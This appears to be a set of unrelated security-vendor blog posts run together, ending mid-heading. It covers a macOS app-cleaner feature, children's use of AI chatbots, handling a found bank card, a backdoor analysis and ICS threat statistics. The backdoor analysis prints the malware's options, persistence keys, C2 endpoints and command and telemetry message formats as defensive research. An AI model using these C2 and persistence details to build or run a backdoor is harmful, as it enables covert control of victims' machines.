As Apple products go, macOS works in some unusual ways. Every longtime user runs into its quirks sooner or later, though that doesn’t stop us from loving it with all our hearts. Apps are no exception: the way macOS handles them is more complicated than it looks.
Most people picture an app on macOS as one specific item. Take Photoshop: it’s that familiar icon with the letters Ps, sitting in the Applications folder in Finder, ready to launch with a click. But under the hood it’s more complex. What looks like a single item in Finder is actually an app bundle: a folder containing the program itself along with everything it needs to run.
But even that is only part of the picture. While Photoshop is running, like any app, it creates and uses data stored outside that bundle. Some of this is behind-the-scenes data, like cache, settings, and user documents. Some of it is your own work, like PSD files. The distinction matters: if you delete Photoshop, you don’t expect your PSD files to vanish along with it.
Then there’s how Adobe doesn’t just install Photoshop or Acrobat: it also deploys a whole set of common apps and background services alongside them. Dragging the Ps icon to the Trash won’t remove those, and neither will Adobe’s own uninstaller.
These background files and helper services can stick around on your drive after you’ve deleted the app they came from. Worse, if you use Migration Assistant to move to a new Mac, all that dead weight gets copied over automatically. So it’s entirely possible to have never installed a single Adobe or Microsoft app on your current Mac, yet still be carrying around megabytes, or even gigabytes, of useless files tied to them.
Tracking these files down yourself isn’t easy, primarily because most people don’t even know they exist. Even if you suspect something’s hiding on your drive, you probably won’t know where to look or what the files are called. To make things harder, file names rarely give away which app they belong to.
The new App Cleaner feature helps you remove apps along with the files they leave behind
Most of these background files live in special macOS folders. One of the main ones is Library, which contains folders like Application Support (app data) and Caches (temporary files). But Library isn’t easy to get to. Since OS X 10.7, Finder keeps it hidden by default. To find it, open the Go menu in Finder while holding down the Option key. Only then does Library show up.
Even if you’re determined enough to dig through Library, you’ll still have to figure out for yourself which of the many files belong to which apps, and which ones are safe to delete. Fortunately, you don’t have to do this by hand, because that’s exactly what App Cleaner takes care of.
How App Cleaner finds and removes apps without leaving traces
App Cleaner doesn’t just remove the app itself. It also tracks down every file connected to it. It does this by automatically identifying which files belong to which app, mainly using the app’s unique identifier (bundle ID) and typical file locations. This means it can clear out an app’s leftovers even when they’re scattered across different macOS folders.
Keep in mind that a full cleanup like this also removes the app’s saved data, so you’ll need to set things up again — for example, restore browser extensions — if you reinstall it later; you can also lose game save files. That said, App Cleaner never touches your own files. Delete Photoshop with it, and the leftover files disappear while your PSD files stay exactly where they are.
You can’t remove the extra files separately from the app itself. App Cleaner offers to delete them together as one package. But if you’ve already deleted an app the regular way and its data has stuck around, App Cleaner can find and remove that too.
If you accidentally delete something you needed, don’t worry. App Cleaner moves everything to the Trash first rather than deleting it outright. As long as the Trash isn’t emptied, you can restore those files from there, and if you haven’t closed App Cleaner since deleting them, you can restore them directly from the app instead. Files only disappear for good once you empty the Trash. We’ll walk through how to undo an accidental deletion below.
How to remove an app with Kaspersky App Cleaner: a step-by-step guide
Now let’s put this into practice. To use App Cleaner, open Kaspersky Premium for macOS and head to the App Cleaner section. You’ll find it right on the app’s main screen, in its own App Cleaner block, or under Performance in the left-hand menu.
You can open App Cleaner from the main screen of Kaspersky for macOS, or through the Performance section in the left menu
In the Apps tab, you can see every app installed on your Mac. Select the apps you no longer need, click Remove, then confirm your choice to delete them along with all their related files. The deleted files move to the Trash, from where you can restore them if needed. Ready to say goodbye for good? Just empty the Trash.
Before you remove anything, App Cleaner shows you not just the app but every file tied to it that will be deleted along with it, plus how much space each one takes up and where it’s stored. That way, you know exactly what you’re clearing out before you commit.
Select the app you want to remove in the Apps tab and click Remove. App Cleaner will delete it along with its related files
App Cleaner also helps users find and delete duplicate copies of applications. For example, those copied by mistake, or when one and the same app was installed from multiple sources. To free up space users caneither remove all duplicates at once or select individual ones.
App Cleaner can also find leftovers from apps you previously deleted the regular way (by dragging them to the Trash). These show up in a separate Leftovers tab, where you can see what’s left, how much space it takes up, and where it’s stored. To clear them out, click Remove, then confirm by clicking Delete. As always, you can restore these files from the Trash if you change your mind.
The Leftovers tab collects files left behind by the apps you’ve already deleted. Select the ones you don’t need and click Remove
Before closing Kaspersky Premium for macOS and emptying the Trash, double-check that you haven’t accidentally deleted a piece of software you need. If you have, you can bring back an app along with all its files right from App Cleaner: select the deleted app from the list and click Restore All. Once you close Kaspersky Premium for macOS, you can still recover deleted files from the Trash as long as you don’t empty it yet.
Select the deleted app and click Restore All. App Cleaner will bring it back along with its related files
Leftover files work the same way. As long as Kaspersky Premium for macOS is still open, you can restore them through App Cleaner. Once it’s closed, the Trash is your fallback.
When it comes to tidying up a Mac, it’s tempting to just download the first app that promises to clear out junk and free up space. But you should be careful about which program you choose. Criminals often disguise malware as well-known, legitimate Mac cleanup utilities. Kaspersky researchers have already found fake versions posing as CleanMyMac, Mole, and CCleaner Pro.
With Kaspersky, you don’t need to look for a separate cleanup tool at all. App Cleaner is already built into Kaspersky Premium for macOS. That means one solution protects your device from cyberthreats and clears out unwanted app leftovers — without the risk of accidentally downloading harmful software disguised as a cleanup tool.
What else is new in Kaspersky for macOS
App Cleaner helps you tidy up your Mac quickly and safely, freeing up time you can spend sorting through your own files instead — something no app can do for you yet. To get access to App Cleaner and other advanced protection features, purchase Kaspersky Premium for macOS or sign up for a free trial.
That’s not the only new feature in Kaspersky Premium for macOS. The app now includes Scam Protection Hub, a single control center for AI-powered protection against digital fraud. There’s also Shop with Confidence, which is now available across all our home security products. Alongside our longstanding filters for malicious sites, this feature blocks links to gray-area sites, like online stores that copy well-known brands to sell fake goods.
Artificial intelligence has gone from a technological novelty to a tool so ordinary that kids in elementary school are already using it. Trying to ban children from using AI at this point makes about as much sense as it once did to ban search engines or Wikipedia.
Today we’re breaking down how chatbots actually work, and how to teach your kid to use AI as a study aid rather than a substitute for thinking for themselves
Explain to your child (and yourself) how AI works
Before explaining anything about artificial intelligence to your child, it helps to understand how it actually works and where its limits are.
Most of the popular chatbots that kids (as well as adults) use are what’s known as large language models, or LLMs. To build such a model, researchers train it to spot patterns across huge amounts of text. The model breaks text down into small units called tokens (each token can be a sequence of words, a punctuation mark, a single word or character, or a whole sentence), then predicts which token is most likely to come next.
This example shows how the GPT-3.5 and GPT-4 models split messages into tokens. Source
The same thing happens when a chatbot converses with a person. A language model doesn’t actually reason on its own. It’s calculating which words and phrases are most likely to follow one another in order to produce a response that fits your query. That means chatbots will sometimes give incomplete or flat-out wrong answers, no matter how often they’re updated or retrained. A vivid example: just two years ago, popular chatbots confidently assured users that the word “strawberry” has two letters “r” instead of three. Mistakes like these are commonly known as hallucinations.
Many chatbots can also search the internet for information. In that case, the AI pulls in data from an outside source, but it still uses its own internal algorithms to put the answer together. And search results themselves can include outdated posts, advertising content, tabloids, and other questionable sources.
How to help your child use AI wisely
Talk to them about how AI can get things wrong
We’ve already seen that artificial intelligence isn’t immune to errors. Unfortunately, hallucinations aren’t the only issue. Even when a chatbot is working from accurate information, it can still present it in a misleading way by leaving something out, putting the emphasis in the wrong place, or drawing a questionable conclusion. Sometimes the result depends on factors a user would never think to consider when asking a question.
One surprising factor is simply what language you’re using. Most of the data that major models are trained on is in English, so these systems tend to perform better in English. The same AI model might answer a question correctly in English but get it wrong when asked the exact same thing in, say, Serbian. This gap shows up most in fields such as science, medicine, technology, and law, where there’s simply far more high-quality English-language material for the model to draw on.
Another quirk of chatbots is that they get worse as you feed them more information. Studies show that the more text and data a model has to work with, the harder it is for it to keep track of details, connect information from different parts of a conversation, and answer questions that require real depth of understanding. Therefore, uploading an entire book to a chatbot and asking detailed questions about it is a surefire way to trigger hallucinations.
It’s also worth questioning not just what the AI tells you, but the way you ask your questions in the first place. Chatbots often try to please the user, and will shape their answer to match the user’s apparent point of view. For example, the same chatbot might give opposite answers to “Why is the Earth overpopulated?” and “Why isn’t the Earth overpopulated?”, each time building its response around the assumption baked into the question. One recent study found that even the most advanced language models failed to challenge false premises in 26–42% of cases.
Let AI help with learning, not do the learning
Many a former student knows that copying others’ work is an art unto itself — one that takes exceptional skill and at least some engagement with the material (sometimes even a fair amount). These days, unfortunately, even that skill is at risk of disappearing: the temptation to copy an answer that took only a few seconds to generate is simply too strong. But chatbots are far from straight-A students themselves.
In one study, researchers had three popular chatbots sit a chemistry exam, and compared their scores to those of real students from 2009–2023. The students came out ahead. Chatbots will sometimes land on the correct answer, but arrive at it via a chain of flawed reasoning, so their answers could just as easily be wrong.
So it’s worth explaining to your child that having AI write essays from scratch, or solve equations without then double-checking them, is a dead end. On top of that, in a real job they’ll be judged on actual skills and knowledge, and chatbots won’t help them fake the expertise. What AI can genuinely help with, without getting in the way of learning, is explaining difficult topics and working through mistakes. Here are some examples:
If a topic is hard to make sense of
“Explain this topic in simple terms: {insert topic}”
“Explain this topic using a real-life example: {insert topic}“
“Here’s the part I don’t understand: {insert text}. Walk me through it step by step”
“Explain this topic in simple terms first, then in more technical terms: {insert topic}“
“Here’s a question: {insert question}. Don’t give me the answer. Ask me guiding questions so I can work it out myself”
Math and other exact sciences
“Give me a hint for the first step, but don’t solve the whole problem: {insert problem}“
“Look at my solution and tell me where I made a mistake, but don’t fix it for me: {insert problem and solution}“
“Come up with a similar problem for me to try: {insert problem}“
“Here’s my answer: {answer}. Ask me questions so I can check whether I solved it correctly”
“Explain why this formula applies here: {insert problem}“
Essays and written assignments
“Ask me five questions on this topic so I can come up with my own thesis and arguments: {insert topic}“
“Here’s a draft of my essay. Try to find gaps in my logic or places that need more detail: {insert draft text}“
“Look at my essay outline and tell me what’s missing: {insert essay outline}”
“Point out places in my writing where the idea isn’t clear, but don’t rewrite it for me: {insert text}“
“Pretend you’re an experienced teacher and try challenging my argument: {insert text}“
Language learning
“Have a conversation with me in {insert language} at an A2 level. After I respond, correct my mistakes”
“Give me five sentences to translate using this grammar structure: {insert grammar structure}“
“Explain this grammar rule and give me some examples: {insert grammar rule}“
“I’ll write a sentence, and you tell me if it has a mistake. Give me a hint first, and only show me the correct version after my second attempt. {insert sentence}“
“Write a short dialogue in {insert language} where I have to answer as one of the characters”
Knowledge testing
“Quiz me with 20 questions on this topic: {insert topic}. Ask one question at a time, and don’t show the answer right away”
“After each answer, only explain what I got wrong”
“Start with five easy questions, then ask five hard ones”
“Make the questions harder each time I answer correctly”
“Based on my mistakes, tell me which topics I should review”
Fact-check AI responses together
Make sure your child understands that they shouldn’t blindly trust what a chatbot tells them — even when it cites other sources. And asking the same chatbot to double-check its own work isn’t a great idea either; there’s a real chance it will make the same mistakes twice, or even pile up the errors.
Take any chatbot answer and go through it together, breaking it down into individual statements and asking questions about each one. Where did that date or number come from? Is the AI citing a specific person, publication, or study? Is the quote actually something that person said? If the chatbot includes a link, open it and check how accurately the AI actually represented it.
While you’re at it, take a look at the quality of the source itself. If something is written in an overly emotional tone or makes bold claims without backing them up, that’s a good sign to look for information somewhere else.
Protect your child and their accounts
Anything your child shares with a chatbot ends up on that company’s servers, and it’s used to further train the model by default. Over the past few years we’ve seen that even the biggest companies aren’t immune to bugs and data leaks. To lower the risk of your child’s information leaking and to keep their account secure, follow a few simple rules:
Make sure your child understands that AI isn’t a private diary. Tell them not to share their name, home address, school, or any other sensitive information with a chatbot.
Adjust the chatbot’s privacy settings. At the very least, turn off memory and any “improve the model” or training features. It’s also worth reading our detailed guides on setting up privacy and security in ChatGPT and DeepSeek.
Update the password. Most chatbots require an account, so to keep your child’s from being hacked, set a strong password that isn’t reused anywhere else. Whether your child’s password follows the classic “mother’s maiden name plus birth year” formula or uses popular meme words like “skibidi”, we have some bad news: passwords like these get cracked really fast. Instead of coming up with and memorizing passwords, it’s better to let an encrypted password manager generate and store them.
Turn on two-factor authentication. This adds an extra hurdle for anyone trying to break into your child’s account. Rather than using a phone number as the second factor, it’s better to use login codes generated and automatically refreshed in a password manager.
Use anti-phishing protection. Beyond fake websites that impersonate legitimate AI services, there’s another risk: chatbots sometimes hand users links to phishing sites (fake pages designed to steal personal information). Kaspersky Premium blocks access to suspicious sites and keeps scammers from stealing your family’s data and money.
Know what your child is doing online. Along with a password manager and protection from malware and phishing, Kaspersky Premium includes Kaspersky Safe Kids, which lets you set up parental controls, restrict unwanted content, and keep track of how much time your child spends online.
What else to read about keeping kids safe online and at school:
Neighborhood chats regularly light up with posts about lost bank cards being found. People mean well and want to help a neighbor out, so they post a photo of the card with the number and other details fully visible. Others mention in the chat that they’ve left the card with, say, a security guard, cashier, or manager at whatever store or business it was found, or which happens to be the closest. Today we’re going to explain why none of that is a good idea, and what you should really do if you find someone else’s bank card.
What NOT to do if you find a lost card, and why
Let’s start with why you shouldn’t post a photo of the card with its details visible in a group chat, keep the card, or hand it to a stranger. The first reason is the most obvious, but worth spelling out anyway: card details are private information that shouldn’t be shared with people who have no business seeing them. A photo posted in a group chat can end up in the hands of criminals, who may try to use those details to make fraudulent purchases online. The worst-case scenario is a photo showing both sides of the card that also exposes the three-digit security code (known as the CVC, CVV, or CVP) on the back.
Now to a less obvious point: why you shouldn’t post about finding a card, even with a photo of it with the number blurred out, and then hold on to it, planning to return it once the owner turns up. Since there’s no guarantee you were the first person to have the card in your hands, doing this puts you at risk of coming under suspicion if money disappears from that account. Even if you had absolutely nothing to do with any theft, the mere fact that the card was in your possession for a while could still land you in an uncomfortable conversation with its owner or the police.
The same logic applies to handing the card over to a third party. A security guard, cashier, or manager is just as much a stranger as anyone else, and none of them have any special authority to take charge of a found bank card. Handing it to them gives them the opportunity to use someone else’s money themselves, and if that happens, you could end up as a person of interest.
An “out of sight — out of mind” approach, that is, leaving the card where you found it, or moving it somewhere more visible, is safer for you personally, but it’s still not really the right call. If you do that, someone else will find it, and there’s no guarantee that they’ll be a decent person. They might try to drain money from the rightful owner’s account. So this isn’t a good option either.
What you SHOULD do with a found bank card
Now let’s talk about what you should do instead. The right approach might surprise you: call the bank that issued the card, report that you’ve found it, and then… destroy the card. It’s entirely possible the owner hasn’t even noticed it’s missing yet: with contactless payments now so widespread, a physical card can sit untouched in a wallet for quite a while. The bank will block the card, notify the owner that it’s gone, and issue a new one.
That last step — destroying the card — may come as a surprise and even attract some push-back among readers, but we stand by it: a found card really should be destroyed. That way, no one can possibly use it, and you won’t have to hold onto someone else’s property or risk coming under suspicion if money goes missing from the account. The simplest and most reliable way to destroy a card is to carefully cut it into small pieces with kitchen scissors and throw it in the trash or recycle it.
Here’s something worth keeping in mind: these days, a physical card isn’t actually worth all that much to its rightful owner. For one thing, banks reissue cards quickly and easily. With most banks, you won’t even need to visit a branch since the new card gets delivered straight to your door.
For another, getting a new card issued usually doesn’t leave the owner unable to pay for things in the meantime: in many cases, they can just switch to a virtual card or another payment method. So a destroyed card is a much smaller headache for its owner than the risk of its ending up in the wrong hands and being used to drain their account.
And if the card’s disgruntled owner does somehow track you down with questions, just show them this article so they can appreciate the trouble they avoided, thanks to you.
When you shouldn’t destroy a found card
Beyond bank cards, there are also multi-purpose cards, such as ones issued to schoolchildren and students that combine a few functions, like a school or university access pass and a public transit pass. Kids, especially younger ones, lose these kinds of cards fairly often. Restoring full functionality on cards like these can take much longer than reissuing a bank card, and the amounts stored on them are usually small, so if you find one, your best move is to take it to the school or university named on the card and hand it to security or reception / front office.
In short: what to do if you find someone else’s card
To sum it up, if a lost bank card ends up in your hands:
Look for the bank’s phone number on the card. It’s usually printed there; if not, you can easily find it on the bank’s official website. Then give them a call. Let them know you’ve found someone else’s card.
After the call, destroy the card: cut it into small pieces with scissors and throw it away.
And one more reminder of what not to do: don’t post photos of the card or its details in chats or on social media, don’t hold on to the card hoping to track down the owner, and don’t hand it over to strangers.
We’d also recommend following our blog to stay on top of the latest online threats. And feel free to share this article in that neighborhood chat so your neighbors know exactly what to do if they ever find someone else’s bank card.
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.
Percentage of ICS computers on which malicious objects were blocked, Q3 2023–Q2 2026
Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.
Regions ranked by percentage of attacked ICS computers
The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).
East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.
Selected industries
The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.
Industries ranked by percentage of ICS computers on which malicious objects were blocked
The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.
In all selected industries, the global average follows a downward trend.
Threat categories
In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.
Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
Malicious scripts and phishing pages (JS and HTML)
Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.
Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.
In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).
Denylisted internet resources
In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.
The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.
Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.
Malicious documents (MSOffice + PDF)
Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.
Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.
South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.
Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).
Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.
Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).
Spyware
Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.
Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).
East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.
Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.
Ransomware
The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.
During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.
In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).
Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.
In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.
Miners
In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).
The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.
On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).
Worms
In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.
In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.
Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.
Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.
Viruses
In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.
The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.
The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.
Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).
East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).
Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).
In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.
Malware for AutoCAD
In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.
The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.
Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).
Main threat sources
In Q2 2026, of all the threat sources, the percentage increased only for email.
Percentage of ICS computers on which malicious objects from various sources were blocked
Internet
The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.
Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.
Email
The percentage of ICS computers on which email threats were blocked increased to 2.84%.
In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).
Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.
Removable media
The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).
Network folders
